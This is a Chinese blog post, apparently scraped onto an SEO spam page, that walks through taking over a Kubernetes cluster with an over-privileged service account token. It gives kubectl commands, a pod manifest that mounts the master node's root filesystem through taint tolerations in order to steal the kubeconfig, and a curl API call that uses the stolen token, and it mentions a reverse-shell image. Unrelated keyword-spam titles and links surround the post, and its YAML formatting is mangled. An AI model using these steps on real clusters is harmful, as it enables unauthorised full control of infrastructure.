当前位置: 首页 > news >正文

网站文章在哪发布做seo什么是网站优化

网站文章在哪发布做seo,什么是网站优化,自己免费做网站(四),html5手机app网站模板免费下载01、概述 Service Account本质是服务账号,是Pod连接K8s集群的凭证。在默认情况下,系统会为创建的Pod提供一个默认的Service Account,用户也可以自定义Service Account,与Service Account关联的凭证会自动挂载到Pod的文件系统中。 …

01、概述

Service Account本质是服务账号,是Pod连接K8s集群的凭证。在默认情况下,系统会为创建的Pod提供一个默认的Service Account,用户也可以自定义Service Account,与Service Account关联的凭证会自动挂载到Pod的文件系统中。

当攻击者通过某个web应用获取到一个Pod权限时,如果RBAC权限配置不当,Pod关联的Service Account拥有创建Pod的权限。攻击者就可以使用污点容忍的方式,将挂载根目录的恶意Pod调度到Master节点,获取Master 节点上的 kubeconfig 文件,从而直接接管整个集群。

02、攻击场景

(1)Service Account赋予bypass对test名称空间拥有管理员权限。

kubectl create serviceaccount bypass -n test
kubectl create rolebinding sa-admin --clusterrole=cluster-admin --serviceaccount=test:bypass -n test
kubectl get pod --as=system:serviceaccount:test:bypass

771f4fb9dcc10253417924d10a6c3f77.png

(2)在Pod中,使用自定义的Service Account。

9b2589f55e3915aa31624490b50a6590.png

# pod-sa.yaml
apiVersion: v1
kind: Pod
metadata:name: pod-sanamespace: test
spec:serviceAccountName: "bypass"containers:- name: ubuntuimage: ubuntu:20.04command: ['/bin/sh','-c','sleep 24h']

(3)在Pod创建时,Service Account关联的凭证,会挂载到 /var/run/secrets/kubernetes.io/serviceaccount/ 目录,其中ca.crt是证书、namespace是Pod所属的命名空间,token是访问API Server的令牌 。

0543edd9df5b19304f47388e3c1f4ee6.png

03、攻击过程

(1)攻击方式:kubectl 命令行操作

在Pod中,下载kubectl命令行工具,使用kubectl auth检查权限,拥有当前名称空间中所有执行操作的权限,这就具备了获取集群权限的条件。

bd6ac17a9a172294fa009f4ac0041236.png

编写一个yaml文件,将节点的根目录挂载到容器的/data 目录,使用污点容忍度创建恶意Pod来对Master节点进行横向控制。

如下图:将构建的Pod成功调度到Mater节点。

2b47bd452a2668a87403d68b718c962f.png

yaml文件内容:

apiVersion: v1
kind: Pod
metadata:name: pod1
spec:nodeSelector:node-role.kubernetes.io/master: ""tolerations:- key: "node-role.kubernetes.io/master"operator: "Exists"effect: NoSchedulecontainers:- image: nginx:1.20name: pod1volumeMounts:- mountPath: /dataname: datavolumes:- name: datahostPath:path: /

攻击者成功窃取 kubeconfig 文件,将获得对 Kubernetes 集群的完全控制权限,从而能够任意操控和管理整个集群。

f28a7e2acd1eb3c4f40c83464f1c37f5.png

(2)攻击方式:curl 命令操作

首先,创建一个包含恶意代码的镜像,用于反弹Shell,利用curl 命令操作 Kubernetes API创建Pod。

ca3df5f71a6da6d4db609b3765f388f1.png

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)用curl创建pod
curl -k --header "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/yaml' \
-s -w "状态码是:%{http_code}\n" \
-d "$(cat /tmp/111.yaml)" \https://10.96.0.1/api/v1/namespaces/test/pods/

远程监听端口来接收Master节点创建的Pod反弹的shell连接,成功获取到kubeconfig文件。

c4a5679a0c0f7b4294c5353574b06cc2.png

http://www.laogonggong.com/news/297.html

相关文章:

  • 网站和网页的目的品牌营销策划包括哪些内容
  • 潜水艇官方网站代理成品网站1688入口网页版
  • 武汉网站建设哪家最好?西安seo网站推广优化
  • 自己做网站制作教程注册安全工程师
  • 网站abc建设规划网页设计html代码大全
  • 关于网站建设的合同范本互联网营销培训平台
  • wordpress 删除 下载文件关键词优化排名软件哪家好
  • sae 企业网站免费发布软文广告推广平台
  • 广东网站建设哪家有南京seo整站优化技术
  • 宁波网站搭建定制非模板网站建设免费个人自助建站
  • 宝鸡专业做网站seo优化软件免费
  • 杭州网站搭建互联网销售可以卖什么产品
  • 郑州营销网站托管公司哪家好百度关键词排名推广
  • 公司建立网站的优势怎么利用互联网推广
  • cms管理手机网站模板汕头网站设计
  • 网站建设专家企业网络推广软件
  • wordpress主题开发404页面seo点击排名软件哪里好
  • 福田网站制作报价福州seo代理商
  • 福州便民生活网长春seo优化
  • 项目建设计划书关键词优化排名哪家好
  • 老网站改版做别的黄冈网站搭建推荐
  • 会网站建设好吗百度知道首页官网
  • 女士服装定制网站站长工具seo综合查询怎么使用的
  • 如何做网站网页免费整站优化的公司
  • 制作网页游戏htmlseo点击软件手机
  • 如何做黑客攻击网站百度查重免费入口
  • 做网站外包好吗优化大师app下载
  • 杭州pc网站制作公司培训管理平台
  • 网站问题seo解决方案如何在微信上做推广
  • 网站建设的国内外现状怎么从网上找国外客户